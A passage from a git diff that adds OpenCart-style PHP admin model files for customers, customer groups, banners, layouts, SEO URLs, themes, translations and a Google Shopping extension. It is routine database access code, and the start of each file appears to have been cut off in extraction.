+ if (!empty($data['filter_customer_group_id'])) {
+ $implode[] = "c.`customer_group_id` = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ if (!empty($data['filter_type'])) {
+ $implode[] = "ca.`type` = '" . $this->db->escape($data['filter_type']) . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(ca.`date_added`) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function approveCustomer($customer_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "customer` SET status = '1' WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'customer'");
+ }
+
+ public function denyCustomer($customer_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'customer'");
+ }
+
+ public function approveAffiliate($customer_id) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "customer_affiliate` SET status = '1' WHERE customer_id = '" . (int)$customer_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'affiliate'");
+ }
+
+ public function denyAffiliate($customer_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "customer_approval` WHERE customer_id = '" . (int)$customer_id . "' AND `type` = 'affiliate'");
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/customer/customer_group.php b/public/admin/model/customer/customer_group.php
new file mode 100644
index 0000000..f93b4c9
--- /dev/null
+++ b/public/admin/model/customer/customer_group.php
@@ -0,0 +1,97 @@
+db->query("INSERT INTO " . DB_PREFIX . "customer_group SET approval = '" . (int)$data['approval'] . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $customer_group_id = $this->db->getLastId();
+
+ foreach ($data['customer_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_group_description SET customer_group_id = '" . (int)$customer_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "'");
+ }
+
+ return $customer_group_id;
+ }
+
+ public function editCustomerGroup($customer_group_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "customer_group SET approval = '" . (int)$data['approval'] . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_group_description WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ foreach ($data['customer_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_group_description SET customer_group_id = '" . (int)$customer_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "'");
+ }
+ }
+
+ public function deleteCustomerGroup($customer_group_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_group WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "customer_group_description WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_discount WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_special WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_reward WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "tax_rate_to_customer_group WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+ }
+
+ public function getCustomerGroup($customer_group_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "customer_group cg LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (cg.customer_group_id = cgd.customer_group_id) WHERE cg.customer_group_id = '" . (int)$customer_group_id . "' AND cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomerGroups($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "customer_group cg LEFT JOIN " . DB_PREFIX . "customer_group_description cgd ON (cg.customer_group_id = cgd.customer_group_id) WHERE cgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'cgd.name',
+ 'cg.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY cgd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomerGroupDescriptions($customer_group_id) {
+ $customer_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_group_description WHERE customer_group_id = '" . (int)$customer_group_id . "'");
+
+ foreach ($query->rows as $result) {
+ $customer_group_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description']
+ );
+ }
+
+ return $customer_group_data;
+ }
+
+ public function getTotalCustomerGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "customer_group");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/design/banner.php b/public/admin/model/design/banner.php
new file mode 100644
index 0000000..d177f7d
--- /dev/null
+++ b/public/admin/model/design/banner.php
@@ -0,0 +1,106 @@
+db->query("INSERT INTO " . DB_PREFIX . "banner SET name = '" . $this->db->escape($data['name']) . "', status = '" . (int)$data['status'] . "'");
+
+ $banner_id = $this->db->getLastId();
+
+ if (isset($data['banner_image'])) {
+ foreach ($data['banner_image'] as $language_id => $value) {
+ foreach ($value as $banner_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "banner_image SET banner_id = '" . (int)$banner_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($banner_image['title']) . "', link = '" . $this->db->escape($banner_image['link']) . "', description = '" . $this->db->escape($banner_image['description']) . "', button_text = '" . $this->db->escape($banner_image['button_text']) . "', image = '" . $this->db->escape($banner_image['image']) . "', image_mobile = '" . $this->db->escape($banner_image['image_mobile']) . "', sort_order = '" . (int)$banner_image['sort_order'] . "'");
+ }
+ }
+ }
+
+ return $banner_id;
+ }
+
+ public function editBanner($banner_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "banner SET name = '" . $this->db->escape($data['name']) . "', status = '" . (int)$data['status'] . "' WHERE banner_id = '" . (int)$banner_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "banner_image WHERE banner_id = '" . (int)$banner_id . "'");
+
+ if (isset($data['banner_image'])) {
+ foreach ($data['banner_image'] as $language_id => $value) {
+ foreach ($value as $banner_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "banner_image SET banner_id = '" . (int)$banner_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($banner_image['title']) . "', link = '" . $this->db->escape($banner_image['link']) . "', description = '" . $this->db->escape($banner_image['description']) . "', button_text = '" . $this->db->escape($banner_image['button_text']) . "', image = '" . $this->db->escape($banner_image['image']) . "', image_mobile = '" . $this->db->escape($banner_image['image_mobile']) . "', sort_order = '" . (int)$banner_image['sort_order'] . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteBanner($banner_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "banner WHERE banner_id = '" . (int)$banner_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "banner_image WHERE banner_id = '" . (int)$banner_id . "'");
+ }
+
+ public function getBanner($banner_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "banner WHERE banner_id = '" . (int)$banner_id . "'");
+
+ return $query->row;
+ }
+
+ public function getBanners($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "banner";
+
+ $sort_data = array(
+ 'name',
+ 'status'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getBannerImages($banner_id) {
+ $banner_image_data = array();
+
+ $banner_image_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "banner_image WHERE banner_id = '" . (int)$banner_id . "' ORDER BY sort_order ASC");
+
+ foreach ($banner_image_query->rows as $banner_image) {
+ $banner_image_data[$banner_image['language_id']][] = array(
+ 'title' => $banner_image['title'],
+ 'link' => $banner_image['link'],
+ 'description' => $banner_image['description'],
+ 'button_text' => $banner_image['button_text'],
+ 'image' => $banner_image['image'],
+ 'image_mobile' => $banner_image['image_mobile'],
+ 'sort_order' => $banner_image['sort_order']
+ );
+ }
+
+ return $banner_image_data;
+ }
+
+ public function getTotalBanners() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "banner");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/design/layout.php b/public/admin/model/design/layout.php
new file mode 100644
index 0000000..1cd3bff
--- /dev/null
+++ b/public/admin/model/design/layout.php
@@ -0,0 +1,109 @@
+db->query("INSERT INTO " . DB_PREFIX . "layout SET name = '" . $this->db->escape($data['name']) . "'");
+
+ $layout_id = $this->db->getLastId();
+
+ if (isset($data['layout_route'])) {
+ foreach ($data['layout_route'] as $layout_route) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_route SET layout_id = '" . (int)$layout_id . "', store_id = '" . (int)$layout_route['store_id'] . "', route = '" . $this->db->escape($layout_route['route']) . "'");
+ }
+ }
+
+ if (isset($data['layout_module'])) {
+ foreach ($data['layout_module'] as $layout_module) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_module SET layout_id = '" . (int)$layout_id . "', code = '" . $this->db->escape($layout_module['code']) . "', position = '" . $this->db->escape($layout_module['position']) . "', sort_order = '" . (int)$layout_module['sort_order'] . "'");
+ }
+ }
+
+ return $layout_id;
+ }
+
+ public function editLayout($layout_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "layout SET name = '" . $this->db->escape($data['name']) . "' WHERE layout_id = '" . (int)$layout_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_route WHERE layout_id = '" . (int)$layout_id . "'");
+
+ if (isset($data['layout_route'])) {
+ foreach ($data['layout_route'] as $layout_route) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_route SET layout_id = '" . (int)$layout_id . "', store_id = '" . (int)$layout_route['store_id'] . "', route = '" . $this->db->escape($layout_route['route']) . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_module WHERE layout_id = '" . (int)$layout_id . "'");
+
+ if (isset($data['layout_module'])) {
+ foreach ($data['layout_module'] as $layout_module) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "layout_module SET layout_id = '" . (int)$layout_id . "', code = '" . $this->db->escape($layout_module['code']) . "', position = '" . $this->db->escape($layout_module['position']) . "', sort_order = '" . (int)$layout_module['sort_order'] . "'");
+ }
+ }
+ }
+
+ public function deleteLayout($layout_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_route WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "layout_module WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "information_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ }
+
+ public function getLayout($layout_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row;
+ }
+
+ public function getLayouts($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "layout";
+
+ $sort_data = array('name');
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getLayoutRoutes($layout_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "layout_route WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getLayoutModules($layout_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "layout_module WHERE layout_id = '" . (int)$layout_id . "' ORDER BY position ASC, sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getTotalLayouts() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "layout");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/design/seo_url.php b/public/admin/model/design/seo_url.php
new file mode 100644
index 0000000..ce621e2
--- /dev/null
+++ b/public/admin/model/design/seo_url.php
@@ -0,0 +1,123 @@
+db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$data['store_id'] . "', language_id = '" . (int)$data['language_id'] . "', query = '" . $this->db->escape($data['query']) . "', keyword = '" . $this->db->escape($data['keyword']) . "'");
+ }
+
+ public function editSeoUrl($seo_url_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$data['store_id'] . "', language_id = '" . (int)$data['language_id'] . "', query = '" . $this->db->escape($data['query']) . "', keyword = '" . $this->db->escape($data['keyword']) . "' WHERE seo_url_id = '" . (int)$seo_url_id . "'");
+ }
+
+ public function deleteSeoUrl($seo_url_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE seo_url_id = '" . (int)$seo_url_id . "'");
+ }
+
+ public function getSeoUrl($seo_url_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "seo_url` WHERE seo_url_id = '" . (int)$seo_url_id . "'");
+
+ return $query->row;
+ }
+
+ public function getSeoUrls($data = array()) {
+ $sql = "SELECT *, (SELECT `name` FROM `" . DB_PREFIX . "store` s WHERE s.store_id = su.store_id) AS store, (SELECT `name` FROM `" . DB_PREFIX . "language` l WHERE l.language_id = su.language_id) AS language FROM `" . DB_PREFIX . "seo_url` su";
+
+ $implode = array();
+
+ if (!empty($data['filter_query'])) {
+ $implode[] = "`query` LIKE '" . $this->db->escape($data['filter_query']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "`keyword` LIKE '" . $this->db->escape($data['filter_keyword']) . "'";
+ }
+
+ if (isset($data['filter_store_id']) && $data['filter_store_id'] !== '') {
+ $implode[] = "`store_id` = '" . (int)$data['filter_store_id'] . "'";
+ }
+
+ if (!empty($data['filter_language_id']) && $data['filter_language_id'] !== '') {
+ $implode[] = "`language_id` = '" . (int)$data['filter_language_id'] . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $sort_data = array(
+ 'query',
+ 'keyword',
+ 'language_id',
+ 'store_id'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY query";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalSeoUrls($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "seo_url`";
+
+ $implode = array();
+
+ if (!empty($data['filter_query'])) {
+ $implode[] = "query LIKE '" . $this->db->escape($data['filter_query']) . "'";
+ }
+
+ if (!empty($data['filter_keyword'])) {
+ $implode[] = "keyword LIKE '" . $this->db->escape($data['filter_keyword']) . "'";
+ }
+
+ if (!empty($data['filter_store_id']) && $data['filter_store_id'] !== '') {
+ $implode[] = "store_id = '" . (int)$data['filter_store_id'] . "'";
+ }
+
+ if (!empty($data['filter_language_id']) && $data['filter_language_id'] !== '') {
+ $implode[] = "language_id = '" . (int)$data['filter_language_id'] . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getSeoUrlsByKeyword($keyword) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "seo_url` WHERE keyword = '" . $this->db->escape(trim($keyword)) . "'");
+
+ return $query->rows;
+ }
+
+ public function getSeoUrlsByQuery($keyword) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "seo_url` WHERE keyword = '" . $this->db->escape(trim($keyword)) . "'");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/design/theme.php b/public/admin/model/design/theme.php
new file mode 100644
index 0000000..966adcd
--- /dev/null
+++ b/public/admin/model/design/theme.php
@@ -0,0 +1,38 @@
+db->query("DELETE FROM `" . DB_PREFIX . "theme` WHERE store_id = '" . (int)$store_id . "' AND theme = '" . $this->db->escape($theme) . "' AND route = '" . $this->db->escape($route) . "'");
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "theme` SET store_id = '" . (int)$store_id . "', theme = '" . $this->db->escape($theme) . "', route = '" . $this->db->escape($route) . "', code = '" . $this->db->escape($code) . "', date_added = NOW()");
+ }
+
+ public function deleteTheme($theme_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "theme` WHERE theme_id = '" . (int)$theme_id . "'");
+ }
+
+ public function getTheme($store_id, $theme, $route) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "theme` WHERE store_id = '" . (int)$store_id . "' AND theme = '" . $this->db->escape($theme) . "' AND route = '" . $this->db->escape($route) . "'");
+
+ return $query->row;
+ }
+
+ public function getThemes($start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT *, (SELECT name FROM `" . DB_PREFIX . "store` s WHERE s.store_id = t.store_id) AS store FROM `" . DB_PREFIX . "theme` t ORDER BY t.date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalThemes() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "theme`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/design/translation.php b/public/admin/model/design/translation.php
new file mode 100644
index 0000000..b85e220
--- /dev/null
+++ b/public/admin/model/design/translation.php
@@ -0,0 +1,66 @@
+db->query("INSERT INTO `" . DB_PREFIX . "translation` SET `store_id` = '" . (int)$data['store_id'] . "', `language_id` = '" . (int)$data['language_id'] . "', `route` = '" . $this->db->escape($data['route']) . "', `key` = '" . $this->db->escape($data['key']) . "', `value` = '" . $this->db->escape($data['value']) . "', `date_added` = NOW()");
+ }
+
+ public function editTranslation($translation_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "translation` SET `store_id` = '" . (int)$data['store_id'] . "', `language_id` = '" . (int)$data['language_id'] . "', `route` = '" . $this->db->escape($data['route']) . "', `key` = '" . $this->db->escape($data['key']) . "', `value` = '" . $this->db->escape($data['value']) . "' WHERE `translation_id` = '" . (int)$translation_id . "'");
+ }
+
+ public function deleteTranslation($translation_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "translation` WHERE `translation_id` = '" . (int)$translation_id . "'");
+ }
+
+ public function getTranslation($translation_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM `" . DB_PREFIX . "translation` WHERE `translation_id` = '" . (int)$translation_id . "'");
+
+ return $query->row;
+ }
+
+ public function getTranslations($data = array()) {
+ $sql = "SELECT *, (SELECT s.name FROM `" . DB_PREFIX . "store` s WHERE s.store_id = t.store_id) AS store, (SELECT l.name FROM `" . DB_PREFIX . "language` l WHERE l.language_id = t.language_id) AS language FROM `" . DB_PREFIX . "translation` t";
+
+ $sort_data = array(
+ 'store',
+ 'language',
+ 'route',
+ 'key',
+ 'value'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY `" . $data['sort'] . "`";
+ } else {
+ $sql .= " ORDER BY store";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalTranslations() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "translation`");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/advertise/google.php b/public/admin/model/extension/advertise/google.php
new file mode 100644
index 0000000..04f6f3c
--- /dev/null
+++ b/public/admin/model/extension/advertise/google.php
@@ -0,0 +1,697 @@
+ array(
+ 'extension/advertise/google/admin_link',
+ ),
+ 'admin/model/catalog/product/addProduct/after' => array(
+ 'extension/advertise/google/addProduct',
+ ),
+ 'admin/model/catalog/product/copyProduct/after' => array(
+ 'extension/advertise/google/copyProduct',
+ ),
+ 'admin/model/catalog/product/deleteProduct/after' => array(
+ 'extension/advertise/google/deleteProduct',
+ ),
+ 'catalog/controller/checkout/success/before' => array(
+ 'extension/advertise/google/before_checkout_success'
+ ),
+ 'store/view/common/header/after' => array(
+ 'extension/advertise/google/google_global_site_tag'
+ ),
+ 'store/view/common/success/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_purchase'
+ ),
+ 'store/view/product/product/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_product'
+ ),
+ 'store/view/product/search/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_searchresults'
+ ),
+ 'store/view/product/category/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_category'
+ ),
+ 'store/view/common/home/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_home'
+ ),
+ 'store/view/checkout/cart/after' => array(
+ 'extension/advertise/google/google_dynamic_remarketing_cart'
+ )
+ );
+
+ private $rename_tables = array(
+ 'advertise_google_target' => 'googleshopping_target',
+ 'category_to_google_product_category' => 'googleshopping_category',
+ 'product_advertise_google_status' => 'googleshopping_product_status',
+ 'product_advertise_google_target' => 'googleshopping_product_target',
+ 'product_advertise_google' => 'googleshopping_product'
+ );
+
+ private $table_columns = array(
+ 'googleshopping_target' => array(
+ 'advertise_google_target_id',
+ 'store_id',
+ 'campaign_name',
+ 'country',
+ 'budget',
+ 'feeds',
+ 'status'
+ ),
+ 'googleshopping_category' => array(
+ 'google_product_category',
+ 'store_id',
+ 'category_id'
+ ),
+ 'googleshopping_product_status' => array(
+ 'product_id',
+ 'store_id',
+ 'product_variation_id',
+ 'destination_statuses',
+ 'data_quality_issues',
+ 'item_level_issues',
+ 'google_expiration_date'
+ ),
+ 'googleshopping_product_target' => array(
+ 'product_id',
+ 'store_id',
+ 'advertise_google_target_id'
+ ),
+ 'googleshopping_product' => array(
+ 'product_advertise_google_id',
+ 'product_id',
+ 'store_id',
+ 'has_issues',
+ 'destination_status',
+ 'impressions',
+ 'clicks',
+ 'conversions',
+ 'cost',
+ 'conversion_value',
+ 'google_product_category',
+ 'condition',
+ 'adult',
+ 'multipack',
+ 'is_bundle',
+ 'age_group',
+ 'color',
+ 'gender',
+ 'size_type',
+ 'size_system',
+ 'size',
+ 'is_modified'
+ )
+ );
+
+ public function isAppIdUsed($app_id, $store_id) {
+ $sql = "SELECT `store_id` FROM `" . DB_PREFIX . "setting` WHERE `key`='advertise_google_app_id' AND `value`='" . $this->db->escape($store_id) . "' AND `store_id`!=" . (int)$store_id . " LIMIT 1";
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows > 0) {
+ try {
+ $googleshopping = new Googleshopping($this->registry, (int)$result->row['store_id']);
+
+ return $googleshopping->isConnected();
+ } catch (\RuntimeException $e) {
+ return false;
+ }
+ }
+
+ return false;
+ }
+
+ public function getFinalProductId() {
+ $sql = "SELECT product_id FROM `" . DB_PREFIX . "product` ORDER BY product_id DESC LIMIT 1";
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows > 0) {
+ return (int)$result->row['product_id'];
+ }
+
+ return null;
+ }
+
+ public function isAnyProductCategoryModified($store_id) {
+ $sql = "SELECT pag.is_modified FROM `" . DB_PREFIX . "googleshopping_product` pag WHERE pag.google_product_category IS NOT NULL AND pag.store_id=" . (int)$store_id . " LIMIT 0,1";
+
+ return $this->db->query($sql)->num_rows > 0;
+ }
+
+ public function getAdvertisedCount($store_id) {
+ $result = $this->db->query("SELECT COUNT(product_id) as total FROM `" . DB_PREFIX . "googleshopping_product_target` WHERE store_id=" . (int)$store_id . " GROUP BY `product_id`");
+
+ return $result->num_rows > 0 ? (int)$result->row['total'] : 0;
+ }
+
+ public function getMapping($store_id) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "googleshopping_category` WHERE store_id=" . (int)$store_id;
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function setCategoryMapping($google_product_category, $store_id, $category_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_category` SET `google_product_category`='" . $this->db->escape($google_product_category) . "', `store_id`=" . (int)$store_id . ", `category_id`=" . (int)$category_id . " ON DUPLICATE KEY UPDATE `category_id`=" . (int)$category_id;
+
+ $this->db->query($sql);
+ }
+
+ public function getMappedCategory($google_product_category, $store_id) {
+ $sql = "SELECT GROUP_CONCAT(cd.name ORDER BY cp.level SEPARATOR ' > ') AS name, cp.category_id FROM " . DB_PREFIX . "category_path cp LEFT JOIN " . DB_PREFIX . "category_description cd ON (cp.path_id = cd.category_id) LEFT JOIN `" . DB_PREFIX . "googleshopping_category` c2gpc ON (c2gpc.category_id = cp.category_id) WHERE cd.language_id=" . (int)$this->config->get('config_language_id') . " AND c2gpc.google_product_category='" . $this->db->escape($google_product_category) . "' AND c2gpc.store_id=" . (int)$store_id;
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows > 0) {
+ return $result->row;
+ }
+
+ return null;
+ }
+
+ public function getProductByProductAdvertiseGoogleId($product_advertise_google_id) {
+ $sql = "SELECT pag.product_id FROM `" . DB_PREFIX . "googleshopping_product` pag WHERE pag.product_advertise_google_id=" . (int)$product_advertise_google_id;
+
+ $result = $this->db->query($sql);
+
+ if ($result->num_rows) {
+ $this->load->model('catalog/product');
+
+ return $this->model_catalog_product->getProduct($result->row['product_id']);
+ }
+ }
+
+ public function getProductAdvertiseGoogle($product_advertise_google_id) {
+ $sql = "SELECT pag.* FROM `" . DB_PREFIX . "googleshopping_product` pag WHERE pag.product_advertise_google_id=" . (int)$product_advertise_google_id;
+
+ return $this->db->query($sql)->row;
+ }
+
+ public function hasActiveTarget($store_id) {
+ $sql = "SELECT agt.advertise_google_target_id FROM `" . DB_PREFIX . "googleshopping_target` agt WHERE agt.store_id=" . (int)$store_id . " AND agt.status='active' LIMIT 1";
+
+ return $this->db->query($sql)->num_rows > 0;
+ }
+
+ public function getRequiredFieldsByProductIds($product_ids, $store_id) {
+ $this->load->config('googleshopping/googleshopping');
+
+ $result = array();
+ $countries = $this->getTargetCountriesByProductIds($product_ids, $store_id);
+
+ foreach ($countries as $country) {
+ foreach ($this->config->get('advertise_google_country_required_fields') as $field => $requirements) {
+ if (
+ (!empty($requirements['countries']) && in_array($country, $requirements['countries']))
+ ||
